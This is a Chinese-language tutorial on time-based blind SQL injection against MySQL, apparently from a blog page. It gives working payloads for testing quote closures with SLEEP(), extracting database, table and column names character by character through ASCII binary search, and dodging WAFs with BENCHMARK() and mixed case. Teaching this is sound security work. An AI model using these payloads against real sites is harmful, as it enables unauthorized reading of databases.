网络安全 - SQL注入篇 - 时间盲注
一、什么是时间盲注时间盲注Time-Based Blind Injection——它利用的是数据库的睡眠函数如SLEEP()通过判断页面响应时间是否被人为延长从而逐字符“抠”出数据。二、时间盲注的利用前提① 存在 SQL注入 漏洞② 数据库支持延时函数③ 网络延迟稳定三、确认时间盲注可用核心目标找到能让 SLEEP() 函数正常执行的闭合方式。判断标准如果某组闭合下页面延迟了约N秒说明该闭合有效如果立即返回则该闭合无效或条件为假。序号场景类型测试输入预期现象响应时间结论1基准测试?id1立即返回 200ms基准状态2数字型 - 真测试?id1 and sleep(5)延迟约 5 秒确认为数字型时间盲注3数字型 - 假测试?id1 and 12 and sleep(5)立即返回确认AND短路有效逻辑可靠4字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为单引号闭合5字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为双引号闭合6字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为单引号括号闭合7字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为双引号括号闭合8字符型 - 真测试?id1)) and sleep(5) --延迟约 5 秒确认为多层括号闭合9字符型 -假测试对应上方的闭合方式and 12 and sleep(5) --立即返回确认该闭合方式下AND逻辑正常重要结论上述测试中序号2~8只要有一个触发延迟该注入点就100%能用时间盲注。实战中 1’ 和 1’) 命中率最高优先测这两个。时间盲注使用核心函数函数 / 语句作用示例MySQLsleep(seconds)让数据库暂停执行 N 秒sleep(5)→ 暂停5秒benchmark(count, expr)重复执行表达式 N 次CPU密集型替代sleep绕过部分WAFbenchmark(10000000, md5(a))if(cond, true_val, false_val)条件判断函数if(11, sleep(5), 0)case when ... then ... end条件判断替代ifcase when 11 then sleep(5) else 0 end优先使用 AND SLEEP() 组合如 and if(…)比单纯的 if() 更灵活且能利用短路逻辑加快假条件的响应。四、时间盲注的详细步骤第一步判断数据库名长度利用 if sleep-- 猜测长度为 1假 → 立即返回?id1 and if(length(database())1, sleep(5), 0) -- -- 猜测长度为 8真 → 延迟5秒 ?id1andif(length(database())8,sleep(5),0)-- ✅ 页面卡了5秒通过逐个数1~20替换最终确定长度为 8。第二步逐位获取数据库名ASCII比较法截取第1位判断其ASCII码是否等于某个值-- 判断第1位是否等于 sASCII 115如果是则延迟5秒?id1andif(ascii(substr(database(),1,1))115,sleep(5),0)--实战中你不知道具体数值需要用二分法大于号配合 sleep-- 判断第1位 ASCII 是否 100?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- 延迟说明大于100 -- 判断是否 120 ?id1andif(ascii(substr(database(),1,1))120,sleep(5),0)-- 立即返回说明在100~120之间-- 继续折半最终锁定 115第三步获取当前数据库下的表名-- 获取第一张表的长度假设是 users长度5?id1 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5, sleep(5), 0) -- -- 获取第一张表的第1个字符u 117 ?id1andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))117,sleep(5),0)--第四步获取字段名与数据-- 获取 users 表第一个字段名的第1个字符?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuserslimit0,1),1,1))117,sleep(5),0)--五、提高效率二分法 超时设置时间盲注极其耗时每猜一个字符要等5秒。手工测试时必须坚持两点技巧说明示例使用二分法不要用逐个试最坏127次用最多7次确定一个字符if(ascii(...) 64, sleep(5), 0)设置合理的延迟时间生产环境延迟设为1~2 秒不要设5秒配合timeout判断sleep(2)浏览器/脚本超时设为 3 秒优先确认长度再取值先跑length()确定总长度避免超出范围浪费请求先跑长度再跑内容六、时间盲注避坑指南序号坑点现象解决方案1网络延迟干扰服务器响应本来就要 500ms设sleep(1)根本不明显设sleep(3)或sleep(5)阈值设在2~3秒以上2AND短路导致 sleep 不执行写12 and sleep(5)永远立即返回因为12为假MySQL 直接短路判假条件用if(条件, sleep(5), 0)更稳妥不依赖短路3表名/数据库名含有大写二分法范围只跑97~122小写漏掉大写字母范围设为32~127包含大写、数字、下划线4子查询必须用括号包裹select table_name from ... limit 0,1报错写成(select table_name from ... limit 0,1)5sleep()被 WAF 拦截报错 403 或请求被拒绝换benchmark(10000000, md5(a))替代或尝试sleep(1)改为SLEEP(1)大小写混写6脚本误判超时假阳性网络突然卡顿假条件也超时脚本误以为真增加重试机制同一字符验证两次均超时才判为真7单次请求耗时过长跑 50 个字符每个字符 7 次请求 × 3 秒 21 分钟将sleep(3)改为sleep(1)阈值设 0.8 秒需配合稳定内网

相关新闻

从源码编译到硬件定制:Meshtastic LoRa Mesh网络固件开发全指南

从源码编译到硬件定制:Meshtastic LoRa Mesh网络固件开发全指南

1. 项目概述:从零开始,理解并构建你的Meshtastic节点 如果你对去中心化的无线通信、应急网络或者仅仅是摆脱手机信号依赖的远距离对讲感兴趣,那么Meshtastic这个名字你可能已经听过。简单来说,它是一个基于LoRa(远距离…

2026/8/2 12:59:27 阅读更多 →
Cursor 系统分析工单:数据库 / 运维 / 审计 / 安全四维,按铁律出可复查 REPORT

Cursor 系统分析工单:数据库 / 运维 / 审计 / 安全四维,按铁律出可复查 REPORT

很多人做「系统分析」时有个坏习惯: 换个主题——数据库、运维、审计、安全——报告骨架和标题几乎一样,只是把词换一换。 领导一看就知道:这不是分析,这是换皮交差。 更糟的是技术口嗨: 看见 b64: / Base64&#xf…

2026/8/2 12:59:27 阅读更多 →
LinkIt ONE物联网开发板入门指南:从硬件架构到GSM/GPRS实战

LinkIt ONE物联网开发板入门指南:从硬件架构到GSM/GPRS实战

1. 项目概述:为什么LinkIt ONE值得你花时间?如果你对物联网开发感兴趣,或者想找一个既能玩Arduino生态,又能直接连上蜂窝网络和Wi-Fi的“全能型”开发板,那LinkIt ONE绝对是一个绕不开的经典。它不是那种最时髦、性能最…

2026/8/2 12:58:27 阅读更多 →

最新新闻

不同企业的研发场景指南:主流DevOps平台厂商横评

不同企业的研发场景指南:主流DevOps平台厂商横评

随着企业软件研发体系向云端化、容器化、智能化快速升级,研发链路不再局限于简单的代码开发与迭代部署。多语言项目并行开发、开源组件大规模复用、容器镜像常态化交付、AI模型持续迭代落地,让软件研发供应链的管理维度、安全风险、合规压力同步提升。不…

2026/8/2 13:46:50 阅读更多 →
Word表格内容清除全攻略:从Delete到VBA的精准操作指南

Word表格内容清除全攻略:从Delete到VBA的精准操作指南

1. 表格内容清除:一个被低估的高频痛点 在Word里处理表格,尤其是那种从Excel粘贴过来、或者从网页上复制下来的数据表格,几乎是每个职场人、学生甚至自由职业者都绕不开的日常操作。我们常常会遇到这样的场景:一份精心设计的报告模…

2026/8/2 13:46:50 阅读更多 →
9轴IMU模块实战:从MPU-9250驱动到Mahony滤波姿态解算

9轴IMU模块实战:从MPU-9250驱动到Mahony滤波姿态解算

1. 项目缘起:为什么我们需要一个独立的9轴IMU模块?在机器人、无人机、可穿戴设备这些领域里混久了,你一定会对“姿态”这个词又爱又恨。爱的是,一旦能精确获取设备的姿态(也就是它在三维空间中的朝向和角度&#xff09…

2026/8/2 13:46:50 阅读更多 →
Vben-Admin 表单开发全攻略:从 useForm 核心原理到实战避坑

Vben-Admin 表单开发全攻略:从 useForm 核心原理到实战避坑

1. 项目概述:为什么我们需要关注 Vben-Admin 的表单问题? 如果你正在或准备使用 Vben-Admin 这个基于 Vue 3 和 TypeScript 的后台解决方案,那么表单开发绝对是你绕不开的核心环节。这个框架以其开箱即用的丰富组件和现代化架构吸引了大量开发…

2026/8/2 13:46:50 阅读更多 →
六层PCB叠层设计实战:避开假八层陷阱,打造可靠高速电路

六层PCB叠层设计实战:避开假八层陷阱,打造可靠高速电路

1. 项目缘起:从“假八层”的温柔陷阱说起最近在几个硬件设计群里,看到不少朋友在讨论六层板的叠层方案。一个高频出现的词是“假八层”,而且很多人把它当作一种“高性价比”的升级方案来推崇。乍一听,这名字挺唬人,感觉…

2026/8/2 13:46:50 阅读更多 →
如何3分钟获取九大网盘真实下载地址:终极直链下载指南

如何3分钟获取九大网盘真实下载地址:终极直链下载指南

如何3分钟获取九大网盘真实下载地址:终极直链下载指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘 / 中国移动云盘 / 天翼…

2026/8/2 13:45:49 阅读更多 →

日新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/2 0:00:38 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/2 0:00:38 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:38 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/2 0:00:38 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/2 0:00:38 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/2 0:00:38 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/2 6:34:16 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/2 2:47:48 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/2 0:23:22 阅读更多 →